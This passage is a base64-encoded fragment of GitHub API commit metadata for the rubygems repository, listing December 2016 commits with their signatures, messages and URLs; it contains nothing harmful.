JzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjBjNmNkZGI1NTJjN2I3MmY0NTQyNmRlZjhlZTk2ZWU1YTMxNjVhYWYiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMGM2Y2RkYjU1MmM3YjcyZjQ1NDI2ZGVmOGVlOTZlZTVhMzE2NWFhZiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8wYzZjZGRiNTUyYzdiNzJmNDU0MjZkZWY4ZWU5NmVlNWEzMTY1YWFmIn1dfSx7InNoYSI6IjBjNmNkZGI1NTJjN2I3MmY0NTQyNmRlZjhlZTk2ZWU1YTMxNjVhYWYiLCJub2RlX2lkIjoiTURZNlEyOXRiV2wwTmpFME1EY3dPakJqTm1Oa1pHSTFOVEpqTjJJM01tWTBOVFF5Tm1SbFpqaGxaVGsyWldVMVlUTXhOalZoWVdZPSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTYtMTItMjVUMTI6NTY6MTBaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNi0xMi0yNVQxMjo1NjoxMFoifSwibWVzc2FnZSI6IlN1cHBvcnQgb3BlbnNzbCBiZWluZyBhIGdlbSBpbiB0aGUgc3VicHJvY2VzcyB0ZXN0cyIsInRyZWUiOnsic2hhIjoiMTgwNmQ5Nzc1MWM3MWE1MjUyNDNhMmE5NzI3ODUwM2UwZmM4ZGUwZiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzE4MDZkOTc3NTFjNzFhNTI1MjQzYTJhOTcyNzg1MDNlMGZjOGRlMGYifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy8wYzZjZGRiNTUyYzdiNzJmNDU0MjZkZWY4ZWU5NmVlNWEzMTY1YWFmIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5WZXJzaW9uOiBHbnVQRyB2MVxuXG5pUUljQkFBQkFnQUdCUUpZWDhIcUFBb0pFQUVaVzdNVjNhaFdndTBQL2lxUzJyWU9rN2RiNzUvOVdDUGEwbi94XG5YZUFxU2VzL3k4YVZaMTJ1YjljU29Jb3BjdHE5Mit4TEVoNzBuVE12c3pTSWRPWDlSUGw2M3lDNDFLa04xZGhZXG5OL05HQlBXQ2x6ZFhOdW9vMmo1YXJLc0ZnLzc5QUlTd1lEQTY3OVd6cWdDZzRMS1l2c0ZmMldJdDZTK2c3eGtCXG50YWhNNVlqT29BNTNoMTdHdUJJcXFhY3JSNEF4c3ozOFYvQmdZaUxXZ3RoVmFzOVdRdzB6VHovbzkxVXFmRE5CXG5SZGpLdk1TVEprakRFdkozTTVVdFhORCtNU1FGZS8yT281alZRTW9Od0phREtiZ0svVDVabkdyRmdvaHU1VUFmXG51TkVkaGtvN01XL2JPUStzY2lFU1VDMFhmcTZVTHJXN3JCVFRiczNoRFpaU2NMeGNBZWl5Q3pUY0FYUEJMQWlKXG53cEtYaUcvelBoRUFZdSszeVNVMU10Zm9vVEh2b1N0cnlBcm4rMElWcU45cUlQR2pKU3FHVVg1dHJZelptRWw1XG5mRFBXQnNKODBnaEVEMlVGa1RFQXhzMFlFckhWQ2NTZEJ3bG5GNTl0Y0JaV2RiT04yNzBRcjQwZjlia2ZJM2ltXG54bnR4SEQrMSt6dUZJS01kWWMzNzR3N0VzMlNEbmJHZjJBaGpDdG9QT0pMWFFhcnpGNnoyL2RDU1J1UkNFK05EXG5DNkpvcDhxeGVVeFVBNVgyY0JiL3ZaSHNCOU1ScU8xWUhJNm9Gc1RxOE5CTEtGWWJpcklkVnlZcnErdERQOU5MXG54QmNZMTFxZnBraVdBSVVZdGpLcVdkWHE2eDZpRWRrQ1RMTDUxazdJS1JTWHpZeWI3RHIrYkpMWkFld2xlbnQwXG5WRmVnUC9ES3lTK3NUUUxTWEZrUVxuPXdGLy9cbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIDE4MDZkOTc3NTFjNzFhNTI1MjQzYTJhOTcyNzg1MDNlMGZjOGRlMGZcbnBhcmVudCBiZTQxYmNlMzQyMzNiZDBhOTI3OTliNTU5MGRiYzhiODFlMGI4ODEyXG5hdXRob3IgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE0ODI2NzA1NzAgLTA2MDBcbmNvbW1pdHRlciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTQ4MjY3MDU3MCAtMDYwMFxuXG5TdXBwb3J0IG9wZW5zc2wgYmVpbmcgYSBnZW0gaW4gdGhlIHN1YnByb2Nlc3MgdGVzdHNcbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzBjNmNkZGI1NTJjN2I3MmY0NTQyNmRlZjhlZTk2ZWU1YTMxNjVhYWYiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvMGM2Y2RkYjU1MmM3YjcyZjQ1NDI2ZGVmOGVlOTZlZTVhMzE2NWFhZiIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8wYzZjZGRiNTUyYzdiNzJmNDU0MjZkZWY4ZWU5NmVlNWEzMTY1YWFmL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsIm5vZGVfaWQiOiJNRFE2VlhObGNqRTVORFkyTVRBPSIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJub2RlX2lkIjoiTURRNlZYTmxjakU1TkRZMk1UQT0iLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJiZTQxYmNlMzQyMzNiZDBhOTI3OTliNTU5MGRiYzhiODFlMGI4ODEyIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2JlNDFiY2UzNDIzM2JkMGE5Mjc5OWI1NTkwZGJjOGI4MWUwYjg4MTIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvYmU0MWJjZTM0MjMzYmQwYTkyNzk5YjU1OTBkYmM4YjgxZTBiODgxMiJ9XX0seyJzaGEiOiIwYWU4YmNhZDczMjBjN2RkNTdhN2YwODFkNTI4YWYwMDIzMTRmZTgxIiwibm9kZV9pZCI6Ik1EWTZRMjl0YldsME5qRTBNRGN3T2pCaFpUaGlZMkZrTnpNeU1HTTNaR1ExTjJFM1pqQTRNV1ExTWpoaFpqQXdNak14TkdabE9ERT0iLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE2LTEyLTEyVDExOjQ0OjM0WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTYtMTItMTdUMTM6NDE6MjBaIn0sIm1lc3NhZ2UiOiJbU291cmNlOjpMb2NrXSBBdm9pZCBoYXNoIGNvbGxpc2lvbnMgd2l0aCB1bi13cmFwcGVkIHNvdXJjZXMiLCJ0cmVlIjp7InNoYSI6IjE1YjZlYWYwODZhMDI4M2NhOWM3MTRhYjZhMmRiZjE2ZWEyNTU0ZDEiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy8xNWI2ZWFmMDg2YTAyODNjYTljNzE0YWI2YTJkYmYxNmVhMjU1NGQxIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvMGFlOGJjYWQ3MzIwYzdkZDU3YTdmMDgxZDUyOGFmMDAyMzE0ZmU4MSIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuVmVyc2lvbjogR251UEcgdjFcblxuaVFJY0JBQUJBZ0FHQlFKWVZVQ0FBQW9KRUFFWlc3TVYzYWhXTFpjUUFJVFVjS2VHYitSclE0SzNVd0JldVNOVlxuY0IwU1BTK1R2NFJreUZkSVY0NWxGV0w4Mk5zYmYyZmljYkpvdVkycUllcGhyMzN4OGpudG5zVGk0SDRtVTN3OFxua3BHMC9UTFRmcm5QandGZnU5ZWcvU21IaXQySS8rNHdzYTc5UHRTY2llNXhnWmowSUoyOE5LMmZNa2pKa25sQ1xuTk5SQ0hmNDhRb0prZzM1R1RVOFd1VjQ0YlZ1cDArUXU2TmQ4N2hYL3FNNDNYcWcxVzNOUnlJaWRqODZSMmNpNFxueXIzV1BVM29zdFhKeXBkbDRGSDBKOWFJSzh6UUV3SHQzM2tQR3VGd2lUOVFaeUp6L1ozSGFod3IwSjRhOEVuZ1xuZkxrSGd2WkQyV2NGR3ord29aQ3pSZEdmWnEyVXhZYUNYbFpxS0JGZ280b2pIakNXdjYrZ1ZtTnpBaUV5ZnNpeFxuTEM1c2pHVjk4aVJxaS9scTJiS2JlSjc3YkVLeVYxamtvYkFwdStGY1NEamMvZXNCK3YrTUVRU1lnNDFZMXlubFxuNnFveWVrWmFYYlpUaWlnbkJoMmU0aTlwU3FOT01nMlRYR0R6RlRWWVdMTWJUcnJ0TmxxZ0hXWUhtbUZRQmRLWlxuY0Irc1l5RXFkV1BuTGt3YmhOcnVES2V4ZVJSMDZCWDM2QWZGT2tuN2MzSmlNSU1MRk9IeHJ4VmJYK0loeTNNWVxuL2xvY2hmTnlZb2ZWdHNuOC9FRHY0NkRuNjlEQmtIUXZHWTl5RktRTWN5RzVIK1JtM1Z3eWFiaEVjbXQ3aTBnL1xuRFJ3anlFSlN6b084Wk0wUEFEN2xWMmxqdkNUVWM1NEF6amhqMk4rb29HL3lMVGtjV0ZCN1pKVng0TXk0cHFaY1xuYzZHKzkwSEhxTkU5TFdWWXZBVG5cbj1ad2l6XG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSAxNWI2ZWFmMDg2YTAyODNjYTljNzE0YWI2YTJkYmYxNmVhMjU1NGQxXG5wYXJlbnQgZDk3ZGY1NDJjNTA0ZmNhZWMwZGQxYTdiMWU2MWM0NDkzMTgwMWIzNVxuYXV0aG9yIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNDgxNTQzMDc0ICswMDAwXG5jb21taXR0ZXIgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE0ODE5ODIwODAgKzAxMDBcblxuW1NvdXJjZTo6TG9ja10gQXZvaWQgaGFzaCBjb2xsaXNpb25zIHdpdGggdW4td3JhcHBlZCBzb3VyY2VzXG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8wYWU4YmNhZDczMjBjN2RkNTdhN2YwODFkNTI4YWYwMDIzMTRmZTgxIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzBhZThiY2FkNzMyMGM3ZGQ1N2E3ZjA4MWQ1MjhhZjAwMjMxNGZlODEiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMGFlOGJjYWQ3MzIwYzdkZDU3YTdmMDgxZDUyOGFmMDAyMzE0ZmU4MS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJub2RlX2lkIjoiTURRNlZYTmxjakU1TkRZMk1UQT0iLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwibm9kZV9pZCI6Ik1EUTZWWE5sY2pFNU5EWTJNVEE9IiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiZDk3ZGY1NDJjNTA0ZmNhZWMwZGQxYTdiMWU2MWM0NDkzMTgwMWIzNSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9kOTdkZjU0MmM1MDRmY2FlYzBkZDFhN2IxZTYxYzQ0OTMxODAxYjM1IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2Q5N2RmNTQyYzUwNGZjYWVjMGRkMWE3YjFlNjFjNDQ5MzE4MDFiMzUifV19LHsic2hhIjoiZDk3ZGY1NDJjNTA0ZmNhZWMwZGQxYTdiMWU2MWM0NDkzMTgwMWIzNSIsIm5vZGVfaWQiOiJNRFk2UTI5dGJXbDBOakUwTURjd09tUTVOMlJtTlRReVl6VXdOR1pqWVdWak1HUmtNV0UzWWpGbE5qRmpORFE1TXpFNE1ERmlNelU9IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNi0xMi0xMlQxMTo0MTozMloifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE2LTEyLTE3VDEzOjQxOjIwWiJ9LCJtZXNzYWdlIjoiW1NvdXJjZV0gQXV0b2xvYWQgVVJJIHRvIHNwZWVkdXAgcmVxdWlyaW5nIHJ1YnlnZW1zXG5cblVSSSB0YWtlcyBhIHdoaWxlIHRvIGluaXRpYWxpemUsIHRoaXMgbWFrZXMgYC1ydWJ5Z2Vtc2AgbXVjaCBmYXN0ZXIgd2hlbiBubyBzb3VyY2VzIGFyZSBjb25zdHJ1Y3RlZCIsInRyZWUiOnsic2hhIjoiZWRhMjIwZWNjMTg1N2M4NGFlY2M4NWY4OGY2YzIzMjVhMGI1YjA5MyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2VkYTIyMGVjYzE4NTdjODRhZWNjODVmODhmNmMyMzI1YTBiNWIwOTMifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy9kOTdkZjU0MmM1MDRmY2FlYzBkZDFhN2IxZTYxYzQ0OTMxODAxYjM1IiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5WZXJzaW9uOiBHbnVQRyB2MVxuXG5pUUljQkFBQkFnQUdCUUpZVlVDQUFBb0pFQUVaVzdNVjNhaFdEM1lQLzFGN0xEYVVFQlkvc2Z3MndTTmVzNER2XG5QY05zcm0wRS9ydUt6eWhLTUlkNzBldlRudVk5VHE5emNReXQ4OHJlR0NXZmd2YS9rc280ZUE4RWNCYUlOZkRLXG5VOFlWSUtOZVRpRi9SMkRxZ0x6cjRYTUwxQUt2ODFJZGwyNU1iYk43aWNNaktObHBBalhMdFBVb25UMkU4aCtpXG5NWmVHZ3c0cm93ZnZMNlk1a0pvdHNaNWRwUGVpaC9vbTl3TXp3NkFTdWdtNmMxOVVJK0hOczFJQ3ZWOUhKcTBpXG5hckFzZjNHTjRqbzN2eW0wejk5eTNxaGtvazQ2aWs4enFod3NEakhZZEZac09CTzgvYXNBa1VRbEJiWXhJU3F0XG5sR2ZCV1ZQaUc2U201UkozaHhOaHlqVWNzME10VENZd1VFQURIaHRJNXdrMWpHOTR2RHpyZ1VVNkZxZ3crelZMXG5RY0kzQTQzOFpQUVhGT29YNEZodHdEQkVtaTJDSlVRVVhuTzk5dFpjYkNJQXhmaGVzM05sQWI4V09MaDR0TmZkXG4xYXBabHdyYkdTcjRHclB0QVFXK0w5ZU9YZkRSUGowaVFnWUxWQThxT29LNXpaUStGd1hkZllSa2FKd3p1QmdvXG5KdHJXMHE1NXpQRVVBTnlVd3NHOE5FZEZMY3gyWlJjL0Z4Z0ttUWVnbG1ZR1M1Ni9GY0trN3RybjIxWklOTlVDXG5LQTMzNCsrdlg3cW1PU1hGNERaeGkrTTFRb0JZRkNFUm5VOXpQWnNlL2pJWEVEYzR5VkJnYXU5dEFYZnV4clJDXG5QeThTSXlOdE1WYm16bk5PNGUvVEJWL0VmdERxQ3VmVUQ1amV0RENYTTgxOWVWTXRUbUZSRG5wSlZyWmpuUFZYXG51cXM3bitBaHR0Snk5bmtpN3VXRlxuPW9uNkNcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIGVkYTIyMGVjYzE4NTdjODRhZWNjODVmODhmNmMyMzI1YTBiNWIwOTNcbnBhcmVudCA3OGJjM2I4YTY4MTZhNzRhODJlNjE3YTBmZDY1Nzc3ODE2ZDg0NGFmXG5hdXRob3IgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE0ODE1NDI4OTIgKzAwMDBcbmNvbW1pdHRlciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTQ4MTk4MjA4MCArMDEwMFxuXG5bU291cmNlXSBBdXRvbG9hZCBVUkkgdG8gc3BlZWR1cCByZXF1aXJpbmcgcnVieWdlbXNcblxuVVJJIHRha2VzIGEgd2hpbGUgdG8gaW5pdGlhbGl6ZSwgdGhpcyBtYWtlcyBgLXJ1YnlnZW1zYCBtdWNoIGZhc3RlciB3aGVuIG5vIHNvdXJjZXMgYXJlIGNvbnN0cnVjdGVkXG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9kOTdkZjU0MmM1MDRmY2FlYzBkZDFhN2IxZTYxYzQ0OTMxODAxYjM1IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2Q5N2RmNTQyYzUwNGZjYWVjMGRkMWE3YjFlNjFjNDQ5MzE4MDFiMzUiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZDk3ZGY1NDJjNTA0ZmNhZWMwZGQxYTdiMWU2MWM0NDkzMTgwMWIzNS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJub2RlX2lkIjoiTURRNlZYTmxjakU1TkRZMk1UQT0iLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly